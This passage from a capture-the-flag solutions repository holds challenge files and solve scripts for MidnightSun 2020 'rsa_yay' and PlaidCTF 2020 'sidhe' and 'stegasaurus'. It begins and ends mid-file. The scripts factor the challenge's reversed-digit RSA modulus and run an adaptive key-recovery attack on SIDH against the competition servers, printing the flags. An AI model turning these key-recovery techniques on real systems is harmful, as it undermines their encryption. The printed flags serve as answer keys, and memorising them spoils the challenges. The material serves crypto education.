* 16 30 | cipher = AES.new(thiskey, AES.MODE_ECB) 31 | dec = cipher.decrypt(enc) 32 | if all(b in hexdigest for b in dec): 33 | break 34 | else: 35 | raise Exception 36 | 37 | key[(FIB[FIBOFFSET + i] + i) % len_key] = key1 38 | key[(FIB[FIBOFFSET + i + 1] + i + 1) % len_key] = key2 39 | 40 | key = bytes(key).decode() 41 | print(key) 42 | -------------------------------------------------------------------------------- /2020-MidnightSun/rsa_yay/chall.txt: -------------------------------------------------------------------------------- 1 | sage: while True: 2 | ....: p = random_prime(2**512) 3 | ....: q = ZZ(int(hex(p)[::-1], 16)) 4 | ....: if q.is_prime(): 5 | ....: break 6 | ....: 7 | sage: hex(p*q) 8 | '7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65' 9 | sage: hex(ciphertext) 10 | '3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488' 11 | -------------------------------------------------------------------------------- /2020-MidnightSun/rsa_yay/solve.py: -------------------------------------------------------------------------------- 1 | from itertools import product 2 | import re 3 | 4 | 5 | def egcd(a, b): 6 | if a == 0: 7 | return (b, 0, 1) 8 | else: 9 | g, y, x = egcd(b % a, a) 10 | return (g, x - (b // a) * y, y) 11 | 12 | 13 | def modinv(a, m): 14 | g, x, y = egcd(a, m) 15 | if g != 1: 16 | raise Exception('modular inverse does not exist') 17 | else: 18 | return x % m 19 | 20 | 21 | n = int('7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65', 16) 22 | ct = int('3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488', 16) 23 | 24 | max_idx = 1 25 | 26 | pq_list = [(1, 5), (3, 7), (9, 13), (11, 15)] 27 | 28 | for idx in range(1, 256): 29 | mod = 16 ** (idx + 1) 30 | new_pq_list = [] 31 | 32 | for p, q in pq_list: 33 | for i, j in product(range(16), repeat=2): 34 | np = i * 16 ** idx + p 35 | nq = j * 16 ** idx + q 36 | 37 | if (np * nq) % mod != n % mod: 38 | continue 39 | 40 | rp_min = int('{:x}'.format(np)[::-1].ljust(128, '0'), 16) 41 | rq_min = int('{:x}'.format(nq)[::-1].ljust(128, '0'), 16) 42 | rp_max = int('{:x}'.format(np)[::-1].ljust(128, 'f'), 16) 43 | rq_max = int('{:x}'.format(nq)[::-1].ljust(128, 'f'), 16) 44 | 45 | if n < rp_min * rq_min or rp_max * rq_max < n: 46 | continue 47 | 48 | new_pq_list.append((np, nq)) 49 | 50 | pq_list = new_pq_list 51 | 52 | assert len(pq_list) == 1 53 | 54 | p, q = pq_list[0] 55 | 56 | # p = 10940426841622676366921134263606230797852377049845508023073731851498778062165943872403574214831422325352658084111135335937429027508321743816310547640134073 57 | # q = 8149647373983803351750886568540598477647671089400013740300059155182763355863916783703939054112148224308893530604866892896459967322672335047042674959531533 58 | 59 | d = modinv(0x10001, (p - 1) * (q - 1)) 60 | pt = pow(ct, d, n) 61 | pt = bytes.fromhex('{:X}'.format(pt)) 62 | 63 | m = re.search(b'midnight{\w*}', pt) 64 | flag = m.group().decode() 65 | 66 | print(flag) 67 | 68 | # midnight{d1vid3_and_c0nqu3r} 69 | -------------------------------------------------------------------------------- /2020-PlaidCTF/sidhe/pow.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import string 3 | import random 4 | import hashlib 5 | 6 | # proof of work 7 | prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) 8 | print("Give me a string starting with {} of length {} so its sha256sum ends in fffffff.".format(prefix, len(prefix)+8)) 9 | l = input().strip() 10 | if len(l) != len(prefix)+8 or not l.startswith(prefix) or hashlib.sha256(l.encode('ascii')).hexdigest()[-7:] != "fffffff": 11 | print("Nope.") 12 | sys.exit(1) 13 | -------------------------------------------------------------------------------- /2020-PlaidCTF/sidhe/run.sh: -------------------------------------------------------------------------------- 1 | python3 pow.py && sage server.sage 2 | -------------------------------------------------------------------------------- /2020-PlaidCTF/sidhe/server.sage: -------------------------------------------------------------------------------- 1 | import hashlib 2 | from Crypto.Cipher import AES 3 | import sys 4 | assert(sys.version_info.major >= 3) 5 | 6 | # SIDH parameters from SIKEp434 7 | # using built-in weierstrass curves instead of montgomery curves because i'm lazy 8 | e2 = 0xD8 9 | e3 = 0x89 10 | p = (2^e2)*(3^e3)-1 11 | K. = GF(p^2, modulus=x^2+1) 12 | E = EllipticCurve(K, [0,6,0,1,0]) 13 | xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48 14 | xP21 = 0x0001AD1C1CAE7840EDDA6D8A924520F60E573D3B9DFAC6D189941CB22326D284A8816CC4249410FE80D68047D823C97D705246F869E3EA50 15 | yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0 16 | yP21 = 0x0000FD87F67EA576CE97FF65BF9F4F7688C4C752DCE9F8BD2B36AD66E04249AAF8337C01E6E4E1A844267BA1A1887B433729E1DD90C7DD2F 17 | xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C 18 | xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5 19 | yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5 20 | yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6 21 | xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9 22 | xP31 = 0x00000000 23 | yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B 24 | yP31 = 0x00000000 25 | xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846 26 | xQ31 = 0x00000000 27 | yQ30 = 0x00000000 28 | yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2 29 | P2 = E(xP20+ii*xP21, yP20+ii*yP21) 30 | Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21) 31 | P3 = E(xP30+ii*xP31, yP30+ii*yP31) 32 | Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31) 33 | 34 | def elem_to_coefficients(x): 35 | l = x.polynomial().list() 36 | l += [0]*(2-len(l)) 37 | return l 38 | 39 | def elem_to_bytes(x): 40 | n = ceil(log(p,2)/8) 41 | x0,x1 = elem_to_coefficients(x) # x == x0 + ii*x1 42 | x0 = ZZ(x0).digits(256, padto=n) 43 | x1 = ZZ(x1).digits(256, padto=n) 44 | return bytes(x0+x1) 45 | 46 | def isogen3(sk3): 47 | Ei = E 48 | P = P2 49 | Q = Q2 50 | S = P3+sk3*Q3 51 | for i in range(e3): 52 | phi = Ei.isogeny((3^(e3-i-1))*S) 53 | Ei = phi.codomain() 54 | S = phi(S) 55 | P = phi(P) 56 | Q = phi(Q) 57 | return (Ei,P,Q) 58 | 59 | def isoex3(sk3, pk2): 60 | Ei, P, Q = pk2 61 | S = P+sk3*Q 62 | for i in range(e3): 63 | R = (3^(e3-i-1))*S 64 | phi = Ei.isogeny(R) 65 | Ei = phi.codomain() 66 | S = phi(S) 67 | return Ei.j_invariant() 68 | 69 | def recv_K_elem(prompt): 70 | print(prompt) 71 | re = ZZ(input(" re: ")) 72 | im = ZZ(input(" im: ")) 73 | return K(re + ii*im) 74 | 75 | supersingular_cache = set() 76 | def is_supersingular(Ei): 77 | a = Ei.a_invariants() 78 | if a in supersingular_cache: 79 | return True 80 | result = Ei.is_supersingular(proof=False) 81 | if result: 82 | supersingular_cache.add(a) 83 | return result 84 | 85 | def recv_and_validate_pk2(): 86 | print("input your public key:") 87 | a1 = recv_K_elem("a1: ") 88 | a2 = recv_K_elem("a2: ") 89 | a3 = recv_K_elem("a3: ") 90 | a4 = recv_K_elem("a4: ") 91 | a6 = recv_K_elem("a6: ") 92 | Ei = EllipticCurve(K, [a1,a2,a3,a4,a6]) 93 | assert(is_supersingular(Ei)) 94 | Px = recv_K_elem("Px: ") 95 | Py = recv_K_elem("Py: ") 96 | P = Ei(Px, Py) 97 | Qx = recv_K_elem("Qx: ") 98 | Qy = recv_K_elem("Qy: ") 99 | Q = Ei(Qx, Qy) 100 | assert(P*(3^e3) == Ei(0) and P*(3^(e3-1)) != Ei(0)) 101 | assert(Q*(3^e3) == Ei(0) and Q*(3^(e3-1)) != Ei(0)) 102 | assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2)) 103 | return (Ei, P, Q) 104 | 105 | def main(): 106 | sk3 = randint(1,3^e3-1) 107 | pk3 = isogen3(sk3) 108 | print("public key:") 109 | print("a1:", elem_to_coefficients(pk3[0].a1())) 110 | print("a2:", elem_to_coefficients(pk3[0].a2())) 111 | print("a3:", elem_to_coefficients(pk3[0].a3())) 112 | print("a4:", elem_to_coefficients(pk3[0].a4())) 113 | print("a6:", elem_to_coefficients(pk3[0].a6())) 114 | print("Px:", elem_to_coefficients(pk3[1][0])) 115 | print("Py:", elem_to_coefficients(pk3[1][1])) 116 | print("Qx:", elem_to_coefficients(pk3[2][0])) 117 | print("Qy:", elem_to_coefficients(pk3[2][1])) 118 | super_secret_hash = hashlib.sha256(str(sk3).encode('ascii')).digest()[:16] 119 | 120 | for _ in range(300): 121 | try: 122 | # SIDH key exchange 123 | pk2 = recv_and_validate_pk2() 124 | shared = isoex3(sk3, pk2) 125 | key = hashlib.sha256(elem_to_bytes(shared)).digest() 126 | # test shared key 127 | cipher = AES.new(key, AES.MODE_ECB) 128 | ciphertext = input("ciphertext: ") 129 | plaintext = cipher.decrypt(bytes.fromhex(ciphertext)) 130 | if plaintext == super_secret_hash: 131 | print("How did you find my secret? Here, have a flag:") 132 | with open("flag.txt","r") as f: 133 | print(f.read()) 134 | return 135 | elif plaintext == b"Hello world.\x00\x00\x00\x00": 136 | print("Good ciphertext.") 137 | else: 138 | print("Bad ciphertext!") 139 | except: 140 | print("Validation error!") 141 | return 142 | 143 | if __name__ == '__main__': 144 | main() 145 | -------------------------------------------------------------------------------- /2020-PlaidCTF/sidhe/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from itertools import product 3 | import ast 4 | import hashlib 5 | import pwn 6 | import string 7 | 8 | 9 | e2 = 0xD8 10 | e3 = 0x89 11 | p = (2^e2)*(3^e3)-1 12 | K. = GF(p^2, modulus=x^2+1) 13 | E = EllipticCurve(K, [0,6,0,1,0]) 14 | xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48 15 | xP21 = 0x0001AD1C1CAE7840EDDA6D8A924520F60E573D3B9DFAC6D189941CB22326D284A8816CC4249410FE80D68047D823C97D705246F869E3EA50 16 | yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0 17 | yP21 = 0x0000FD87F67EA576CE97FF65BF9F4F7688C4C752DCE9F8BD2B36AD66E04249AAF8337C01E6E4E1A844267BA1A1887B433729E1DD90C7DD2F 18 | xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C 19 | xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5 20 | yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5 21 | yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6 22 | xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9 23 | xP31 = 0x00000000 24 | yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B 25 | yP31 = 0x00000000 26 | xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846 27 | xQ31 = 0x00000000 28 | yQ30 = 0x00000000 29 | yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2 30 | P2 = E(xP20+ii*xP21, yP20+ii*yP21) 31 | Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21) 32 | P3 = E(xP30+ii*xP31, yP30+ii*yP31) 33 | Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31) 34 | 35 | 36 | def elem_to_coefficients(x): 37 | l = x.polynomial().list() 38 | l += [0] * (2 - len(l)) 39 | return l 40 | 41 | 42 | def elem_to_bytes(x): 43 | n = ceil(log(p, 2) / 8) 44 | x0, x1 = elem_to_coefficients(x) # x == x0 + ii * x1 45 | x0 = ZZ(x0).digits(256, padto=n) 46 | x1 = ZZ(x1).digits(256, padto=n) 47 | return bytes(x0 + x1) 48 | 49 | 50 | def isogen2(sk2): 51 | Ei = E 52 | P = P3 53 | Q = Q3 54 | S = P2 + sk2 * Q2 55 | for i in range(e2): 56 | phi = Ei.isogeny((2^(e2 - i - 1)) * S) 57 | Ei = phi.codomain() 58 | S = phi(S) 59 | P = phi(P) 60 | Q = phi(Q) 61 | return (Ei, P, Q) 62 | 63 | 64 | def isogen3(sk3): 65 | Ei = E 66 | P = P2 67 | Q = Q2 68 | S = P3 + sk3 * Q3 69 | for i in range(e3): 70 | phi = Ei.isogeny((3^(e3 - i - 1)) * S) 71 | Ei = phi.codomain() 72 | S = phi(S) 73 | P = phi(P) 74 | Q = phi(Q) 75 | return (Ei, P, Q) 76 | 77 | 78 | def isoex2(sk2, pk3): 79 | Ei, P, Q = pk3 80 | S = P + sk2 * Q 81 | for i in range(e2): 82 | R = (2^(e2 - i - 1)) * S 83 | phi = Ei.isogeny(R) 84 | Ei = phi.codomain() 85 | S = phi(S) 86 | return Ei.j_invariant() 87 | 88 | 89 | def recv_K_elem(prompt): 90 | t.recvuntil(prompt) 91 | 92 | a = t.recvline(keepends=False).decode() 93 | k = ast.literal_eval(a) 94 | return K(k[0] + ii*k[1]) 95 | 96 | 97 | def send_K_elem(k, prompt=None): 98 | if prompt: 99 | t.recvuntil(prompt) 100 | t.recvline() 101 | 102 | k = vector(k) 103 | t.recvuntil(' re: ') 104 | t.sendline(str(k[0])) 105 | t.recvuntil(' im: ') 106 | t.sendline(str(k[1])) 107 | 108 | 109 | supersingular_cache = set() 110 | def is_supersingular(Ei): 111 | a = Ei.a_invariants() 112 | if a in supersingular_cache: 113 | return True 114 | result = Ei.is_supersingular(proof=False) 115 | if result: 116 | supersingular_cache.add(a) 117 | return result 118 | 119 | 120 | def recv_pk3(): 121 | t.recvuntil('public key:\n') 122 | a1 = recv_K_elem('a1: ') 123 | a2 = recv_K_elem('a2: ') 124 | a3 = recv_K_elem('a3: ') 125 | a4 = recv_K_elem('a4: ') 126 | a6 = recv_K_elem('a6: ') 127 | Ei = EllipticCurve(K, [a1, a2, a3, a4, a6]) 128 | assert is_supersingular(Ei) 129 | 130 | Px = recv_K_elem('Px: ') 131 | Py = recv_K_elem('Py: ') 132 | P = Ei(Px, Py) 133 | 134 | Qx = recv_K_elem('Qx: ') 135 | Qy = recv_K_elem('Qy: ') 136 | Q = Ei(Qx, Qy) 137 | 138 | assert P * (2^e2) == Ei(0) and P * (2^(e2 - 1)) != Ei(0) 139 | assert Q * (2^e2) == Ei(0) and Q * (2^(e2 - 1)) != Ei(0) 140 | assert P.weil_pairing(Q, 2^e2) == (P2.weil_pairing(Q2, 2^e2))^(3^e3) 141 | 142 | return (Ei, P, Q) 143 | 144 | 145 | def send_pk2(pk2): 146 | Ei, P, Q = pk2 147 | t.recvuntil('input your public key:\n') 148 | 149 | send_K_elem(Ei.a1(), prompt='a1: ') 150 | send_K_elem(Ei.a2(), prompt='a2: ') 151 | send_K_elem(Ei.a3(), prompt='a3: ') 152 | send_K_elem(Ei.a4(), prompt='a4: ') 153 | send_K_elem(Ei.a6(), prompt='a6: ') 154 | 155 | send_K_elem(P[0], prompt='Px: ') 156 | send_K_elem(P[1], prompt='Py: ') 157 | send_K_elem(Q[0], prompt='Qx: ') 158 | send_K_elem(Q[1], prompt='Qy: ') 159 | return 160 | 161 | 162 | def proof_of_work(): 163 | t.recvuntil('Give me a string starting with ') 164 | prefix = t.recvn(10) 165 | t.recvuntil('fffffff.\n') 166 | 167 | for postfix in product(string.ascii_letters + string.digits, repeat=8): 168 | target = prefix + ''.join(postfix).encode() 169 | if hashlib.sha256(target).hexdigest().endswith('fffffff'): 170 | break 171 | 172 | t.sendline(target) 173 | return 174 | 175 | 176 | DEBUG = False 177 | 178 | if DEBUG: 179 | t = pwn.process(['sage', 'server.sage']) 180 | else: 181 | t = pwn.remote('149.28.9.162', 31337) 182 | 183 | if not DEBUG: 184 | proof_of_work() 185 | 186 | pk3 = recv_pk3() 187 | 188 | secretkey = 2 189 | sk2 = randint(1, 2^e2 - 1) 190 | pk2 = isogen2(sk2) 191 | 192 | shared = isoex2(sk2, pk3) 193 | key = hashlib.sha256(elem_to_bytes(shared)).digest() 194 | cipher = AES.new(key, AES.MODE_ECB) 195 | ciphertext = cipher.encrypt(b'Hello world.'.ljust(16, b'\x00')) 196 | 197 | Ei, P, Q = pk2 198 | 199 | FF = IntegerModRing(3^e3) 200 | 201 | for i in range(e3 - 1): 202 | theta = Integer(FF((1 + 3^(e3 - i - 1))^-1).sqrt()) 203 | 204 | for j in range(2): 205 | Pprime = theta * (P - (3^(e3 - i - 1) * secretkey) * Q) 206 | Qprime = theta * (1 + 3^(e3 - i - 1)) * Q 207 | 208 | pk2prime = Ei, Pprime, Qprime 209 | 210 | send_pk2(pk2prime) 211 | 212 | t.recvuntil('ciphertext: ') 213 | t.sendline(ciphertext.hex()) 214 | 215 | response = t.recvline(keepends=False).decode() 216 | pwn.log.info(response) 217 | 218 | if response == 'Good ciphertext.': 219 | break 220 | if response == 'Bad ciphertext!': 221 | secretkey += 3^i 222 | 223 | for i in range(3): 224 | trialkey = secretkey + i * 3^(e3 - 1) 225 | if isogen3(trialkey) == pk3: 226 | break 227 | else: 228 | raise ValueError 229 | 230 | secretkey = trialkey 231 | super_secret_hash = hashlib.sha256(str(secretkey).encode()).digest()[:16] 232 | 233 | pwn.info('sk3: {}'.format(secretkey)) 234 | pwn.info('super_secret_hash: {}'.format(super_secret_hash.hex())) 235 | 236 | send_pk2(pk2) 237 | 238 | pwn.context.log_level = 'DEBUG' 239 | t.recvuntil('ciphertext: ') 240 | t.sendline(cipher.encrypt(super_secret_hash).hex()) 241 | 242 | t.recvline() 243 | flag = t.recvline(keepends=False).decode() 244 | 245 | pwn.context.log_level = 'INFO' 246 | t.close() 247 | 248 | pwn.log.info(flag) 249 | 250 | # PCTF{if_you_wish_for_postquantum_crypto_ask_a_supersingular_isogenie} 251 | -------------------------------------------------------------------------------- /2020-PlaidCTF/stegasaurus_scratch/Makefile: -------------------------------------------------------------------------------- 1 | CC= gcc 2 | CFLAGS= -g -Wall -I/usr/include/lua5.3 -L/usr/lib -llua5.3 3 | LDLIBS+= -L/usr/lib -llua5.3 4 | 5 | .PHONY: all clean 6 | 7 | all: stegasaurus tries 8 | 9 | clean: 10 | rm -rf stegasaurus tries 11 | 12 | stegasaurus: stegasaurus.c 13 | 14 | tries: 15 | mkdir tries 16 | 17 | -------------------------------------------------------------------------------- /2020-PlaidCTF/stegasaurus_scratch/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo 'enter one result of `hashcash -b 25 -m -r stegasaurus`' 4 | echo -n '> ' 5 | read cash 6 | (echo "$cash" | hashcash -d -c -b 25 -r stegasaurus) && ./stegasaurus 7 | 8 | -------------------------------------------------------------------------------- /2020-PlaidCTF/stegasaurus_scratch/solve.lua: -------------------------------------------------------------------------------- 1 | function factorial(n) 2 | if n == 1 then 3 | return 1 4 | else 5 | return n * factorial(n - 1) 6 | end 7 | end 8 | function Alice1(hand) 9 | table.sort(hand) 10 | alices, sum = {0, 0, 0, 0, 0, 0, 0}, 0 11 | for i = 1, 8 do 12 | sum = sum + hand[i] 13 | end 14 | discarded = sum % 8 + 1 15 | permnum = (hand[discarded] - 1) // 8 16 | for i = 1, 8 do 17 | if i ~= discarded then 18 | alices[i - (i > discarded and 1 or 0)] = hand[i] 19 | end 20 | end 21 | for i = 1, 6 do 22 | swapi = (permnum % factorial(8 - i)) // factorial(7 - i) + i 23 | alices[i], alices[swapi] = alices[swapi], alices[i] 24 | end 25 | return alices 26 | end 27 | function Bob1(alices) 28 | bobs, sum = {0, 0, 0, 0, 0, 0, 0}, 0 29 | for i = 1, 7 do 30 | bobs[i] = alices[i] 31 | sum = sum + alices[i] 32 | end 33 | table.sort(bobs) 34 | permnum = 0 35 | for i = 1, 6 do 36 | for j = i, 7 do 37 | if alices[i] == bobs[j] then 38 | permnum = permnum + (j - i) * factorial(7 - i) 39 | bobs[i], bobs[j] = bobs[j], bobs[i] 40 | break 41 | end 42 | end 43 | end 44 | table.sort(bobs) 45 | bobs[0], bobs[8] = 0, 40001 46 | for i = permnum * 8 + 1, permnum * 8 + 8 do 47 | discarded = (sum + i) % 8 + 1 48 | if bobs[discarded - 1] < i and i < bobs[discarded] then 49 | return i 50 | end 51 | end 52 | return 0 53 | end 54 | function Alice2(table) 55 | rem = {} 56 | stack = 0 57 | for i = 96, 1, -1 do 58 | if table[i] == 2 then 59 | stack = stack + 1 60 | elseif stack ~= 0 then 61 | rem[#rem + 1] = i 62 | stack = stack - 1 63 | end 64 | end 65 | for i = 96, 1, -1 do 66 | if stack == 0 then 67 | break 68 | elseif table[i] == 1 then 69 | found = false 70 | for j = 1, #rem do 71 | if i == rem[j] then 72 | found = true 73 | end 74 | end 75 | if not found then 76 | rem[#rem + 1] = i 77 | stack = stack - 1 78 | end 79 | end 80 | end 81 | return rem 82 | end 83 | function Bob2(present) 84 | guess = {} 85 | stack = 0 86 | for i = 1, 96 do 87 | if present[i] == 0 then 88 | stack = stack + 1 89 | elseif stack ~= 0 then 90 | guess[#guess + 1] = i 91 | stack = stack - 1 92 | end 93 | end 94 | for i = 1, 96 do 95 | if stack == 0 then 96 | break 97 | elseif present[i] == 1 then 98 | found = false 99 | for j = 1, #guess do 100 | if i == guess[j] then 101 | found = true 102 | end 103 | end 104 | if not found then 105 | guess[#guess + 1] = i 106 | stack = stack - 1 107 | end 108 | end 109 | end 110 | return guess 111 | end 112 | -------------------------------------------------------------------------------- /2020-PlaidCTF/stegasaurus_scratch/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import pwn 3 | 4 | 5 | p = pwn.remote('stegasaurus.pwni.ng', 1337) 6 | pwn.context.log_level = 'DEBUG' 7 | 8 | with open('solve.lua', 'r') as f: 9 | lua = f.read() 10 | 11 | hashcash = pwn.process(['hashcash', '-b', '25', '-m', '-r', 'stegasaurus']) 12 | hashcash.recvuntil('hashcash token: ') 13 | token = hashcash.recvline(keepends=False) 14 | hashcash.close() 15 | 16 | p.recvuntil('> ') 17 | p.sendline(token) 18 | 19 | p.recvuntil('send your file\n') 20 | p.send(lua) 21 | 22 | p.shutdown('send') 23 | 24 | p.recvline() 25 | p.recvline() 26 | flag = p.recvline(keepends=False).decode() 27 | 28 | pwn.context.log_level = 'INFO' 29 | p.close() 30 | 31 | pwn.log.info(flag) 32 | 33 | # PCTF{c4rd_b4s3d_crypt0_1s_4_r33l_fi31d} 34 | -------------------------------------------------------------------------------- /2020-PlaidCTF/stegasaurus_scratch/stegasaurus.c: -------------------------------------------------------------------------------- 1 | // lua 5.3 has integer division 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | const int trials = 10000; 15 | const int deck_size = 40000; 16 | const int hand_size = 8; 17 | const int timeout = 10; 18 | 19 | FILE* urand; 20 | lua_State *Alice, *Bob; 21 | char fp[0x100] = {0}; 22 | 23 | bool getfile() { 24 | puts("send your file"); 25 | unsigned char randchars[17]; 26 | fread(randchars, sizeof(unsigned char), 16, urand); 27 | for (int i = 0; i < 16; i++) randchars[i] = randchars[i] % 26 + 'a'; 28 | randchars[16] = 0; 29 | sprintf(fp, "tries/%s.lua", randchars); 30 | FILE* writefile = fopen(fp, "w"); 31 | if (!writefile) return false; 32 | char buff[0x100]; 33 | size_t amt; 34 | while ((amt = fread(buff, sizeof(char), 0x100, stdin)) > 0) { 35 | fwrite(buff, 1, amt, writefile); 36 | } 37 | fclose(writefile); 38 | return true; 39 | } 40 | 41 | bool part1_checkonce() { 42 | // Deal a hand 43 | int deck[deck_size]; 44 | for (int i = 0; i < deck_size; i++) deck[i] = i + 1; 45 | 46 | int hand[hand_size]; 47 | for (int i = 0; i < hand_size; i++) { 48 | unsigned int card; 49 | fread(&card, sizeof(unsigned int), 1, urand); 50 | card %= deck_size - i; 51 | card += i; 52 | hand[i] = deck[card]; 53 | // Swap cards in deck so no reuse 54 | deck[card] = deck[i]; 55 | deck[i] = hand[i]; 56 | } 57 | 58 | // Send the hand to Alice 59 | lua_getglobal(Alice, "Alice1"); 60 | lua_createtable(Alice, hand_size, 0); 61 | for (int i = 0; i < hand_size; i++) { 62 | lua_pushinteger(Alice, (lua_Integer)hand[i]); 63 | lua_rawseti(Alice, -2, i+1); 64 | } 65 | lua_call(Alice, 1, 1); 66 | 67 | // Get Alice's response 68 | int alices[hand_size - 1]; 69 | for (int i = 0; i < hand_size - 1; i++) { 70 | lua_rawgeti(Alice, -1, i+1); 71 | alices[i] = lua_tointeger(Alice, -1); 72 | lua_pop(Alice, 1); 73 | } 74 | 75 | // Check Alice's response 76 | bool used[hand_size]; 77 | for (int i = 0; i < hand_size; i++) used[i] = false; 78 | 79 | for (int i = 0; i < hand_size - 1; i++) { 80 | // All returned values need to be unique 81 | for (int j = i+1; j < hand_size - 1; j++) { 82 | if (alices[i] == alices[j]) return false; 83 | } 84 | // and in what we gave Alice 85 | bool found = false; 86 | for (int j = 0; j < hand_size; j++) { 87 | if (alices[i] == hand[j]) { 88 | used[j] = true; 89 | found = true; 90 | break; 91 | } 92 | } 93 | if (!found) return false; 94 | } 95 | lua_pop(Alice, 1); 96 | 97 | int discarded; 98 | for (int i = 0; i < hand_size; i++) { 99 | if (!used[i]) { 100 | discarded = hand[i]; 101 | break; 102 | } 103 | } 104 | 105 | // Send the hand to Bob 106 | lua_getglobal(Bob, "Bob1"); 107 | lua_createtable(Bob, hand_size-1, 0); 108 | for (int i = 0; i < hand_size - 1; i++) { 109 | lua_pushinteger(Bob, (lua_Integer)alices[i]); 110 | lua_rawseti(Bob, -2, i+1); 111 | } 112 | lua_call(Bob, 1, 1); 113 | 114 | // Check Bob's response 115 | int guess = lua_tointeger(Bob, -1); 116 | lua_pop(Bob, 1); 117 | 118 | return guess == discarded; 119 | } 120 | 121 | bool part2_checkonce() { 122 | // Set up the table 123 | int table[96]; 124 | for (int i = 0; i < 64; i++) table[i] = 1; 125 | for (int i = 64; i < 96; i++) table[i] = 2; 126 | // Shuffle the table 127 | for (int i = 0; i < 96; i++) { 128 | unsigned int swap; 129 | fread(&swap, sizeof swap, 1, urand); 130 | swap %= 96 - i; 131 | int tmp = table[i]; 132 | table[i] = table[i+swap]; 133 | table[i+swap] = tmp; 134 | } 135 | 136 | // Send the table to Alice 137 | lua_getglobal(Alice, "Alice2"); 138 | lua_createtable(Alice, 96, 0); 139 | for (int i = 0; i < 96; i++) { 140 | 